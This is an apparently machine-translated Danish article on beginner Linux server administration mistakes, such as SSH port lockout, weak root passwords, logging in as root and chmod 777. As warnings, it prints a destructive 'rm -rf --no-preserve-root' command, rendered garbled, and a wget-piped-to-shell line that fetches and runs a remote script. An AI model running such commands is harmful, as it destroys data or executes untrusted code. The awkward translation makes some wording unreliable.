Linux-kommandolinjen giver serveradministratorer kontrol over deres servere og de data, der er gemt på dem, men det hjælper ikke meget med at stoppe dem med at køre destruktive kommandoer med konsekvenser, der ikke kan fortrydes. Sletning af utilsigtet data er kun en type fejl, som nye serveradministratorer begår.
Låsning af tasterne indeni
Serveradministratorer opretter forbindelse til servere med SSH, en tjeneste, der normalt kører på port 22, der giver en log-in-shell, hvorigennem godkendte brugere kan køre kommandoer på eksterne servere. Et standard sikkerhedshærdningstrin er at konfigurere SSH til at acceptere forbindelser på en anden port. Flytning af SSH til en tilfældig port med høj nummer begrænser virkningen af brutale kraftangreb; hackere kan ikke forsøge ondsindede logins, når de ikke kan finde den port, som SSH lytter til.
En administrator, der konfigurerer SSH til at lytte i en anden port og derefter genstarter SSH-serveren, kan dog finde ud af, at det ikke kun er hackere, der er låst ude. Hvis serverens firewall ikke også er omkonfigureret til at tillade forbindelser på den nye port, når forbindelsesforsøg aldrig til SSH-serveren. Administratoren vil blive låst ude af deres server uden mulighed for at løse problemet undtagen at åbne en supportbillet hos deres hostingudbyder. Hvis du ændrer SSH-porten, skal du sørge for at åbne den nye port i din servers firewallkonfiguration.
Valg af en let gættet adgangskode
Brute-force angreb er et gættespil. Angriberen prøver mange brugernavne og adgangskoder, indtil de rammer en kombination, der lader dem komme ind. Et ordbogsangreb er en mere raffineret tilgang, der bruger lister over adgangskoder, ofte hentet fra lækkede adgangskodedatabaser. Angreb mod rodkontoen er lettere end mod andre konti, fordi angriberen allerede kender brugernavnet. Hvis en rodkonto har en simpel adgangskode, kan den hackes på ingen tid overhovedet.
Der er tre måder at forsvare sig mod både brute-force og ordbogangreb mod rodkontoen.
- Vælg en lang og kompleks adgangskode. Enkle adgangskoder er lette at knække; lange og komplekse adgangskoder er umulige.
- Konfigurer SSH til ikke at tillade rodlogins. Dette er en simpel konfigurationsændring, men sørg for, at "sudo" er konfigureret, så din konto kan hæve sine rettigheder.
- Brug nøglebaseret godkendelse i stedet for adgangskoder. Certifikatbaserede logins fjerner risikoen for brutale kraftangreb helt.
Kopiering af kommandoer, du ikke forstår
Stack Exchange, Server Fault og lignende sider er en livline for nye Linux-systemadministratorer, men du bør undgå fristelsen til at kopiere og indsætte en shell-kommando, som du ikke forstår. Hvad er forskellen mellem disse to kommandoer?
sudo rm -rf --no-preserve-root / mnt / mydrive /sudo rm -rf --no-preserve-root / mnt / mydrive /
Det er let at se, hvornår de vises sammen, men ikke så let, når du søger gennem fora på udkig efter en kommando til at slette indholdet af en monteret lydstyrke. Den første kommando sletter alle filer på det monterede drev. Den anden kommando sletter disse filer og alt på serverens rodfilsystem. Den eneste forskel er pladsen inden den sidste skråstreg.
Serveradministratorer kan komme på tværs af lange kommandoer med rørledninger, der siges at gøre en ting, men gøre noget andet helt. Vær særlig forsigtig med kommandoer, der downloader kode fra internettet.
wget http: // eksempel.com / verybadscript -O - | sh -Denne kommando bruger wget til at downloade et script, der ledes til skallen og udføres. For at køre dette sikkert skal du forstå, hvad kommandoen gør, og også hvad det downloadede script gør, inklusive enhver kode, som det downloadede script muligvis selv downloader.
Log ind som root
Mens almindelige brugere kun kan ændre filer i deres hjemmemappe, er der ikke meget, som rodbrugeren ikke kan gøre på en Linux-server. Det kan køre enhver software, læse alle data og slette enhver fil.
Applikationer, der køres af rodbrugeren, har lignende magt. Det er praktisk at være logget ind som rodbruger, fordi du ikke behøver at “sudo” eller “su” hele tiden, men det er farligt. En skrivefejl kan ødelægge din server på få sekunder. Buggysoftware, der køres af rodbrugeren, kan skabe en katastrofe. Log ind som en almindelig bruger til daglige operationer og kun hæve til root-rettigheder, når det er nødvendigt.
Lærer ikke filsystemtilladelser
Tilladelser til filsystemer kan være forvirrende og frustrerende for nye Linux-brugere. En tilladelsesstreng som "drwxr-xr-x" ser først meningsløs ud, og tilladelser kan forhindre dig i at ændre filer og stoppe software med at gøre, hvad du vil have det.
Systemadministratorer lærer hurtigt, at chmod 777 er en magisk besværgelse, der løser de fleste af disse problemer, men det er en forfærdelig idé. Det lader alle med en konto læse, skrive og udføre filen. Hvis du kører denne kommando på en webserver-mappe, beder du om at blive hacket. Linux-filtilladelser ser komplicerede ud, men hvis du tager et par minutter på at lære, hvordan de fungerer, vil du opdage et logisk og fleksibelt system til styring af filadgang.
I en æra, der værdsætter enkle brugeroplevelser over alle andre faktorer, forbliver Linux-kommandolinjen resolut kompleks og modstandsdygtig over for forenkling. Du kan ikke muddle igennem og håbe, at det hele går fint. Det vil ikke være fint, og du vil ende med en katastrofe i dine hænder.
Men hvis du lærer det grundlæggende - filtilladelser, kommandolinjeværktøjer og deres muligheder, bedste praksis for sikkerhed - kan du blive en mester på en af de mest kraftfulde computerplatforme, der nogensinde er oprettet.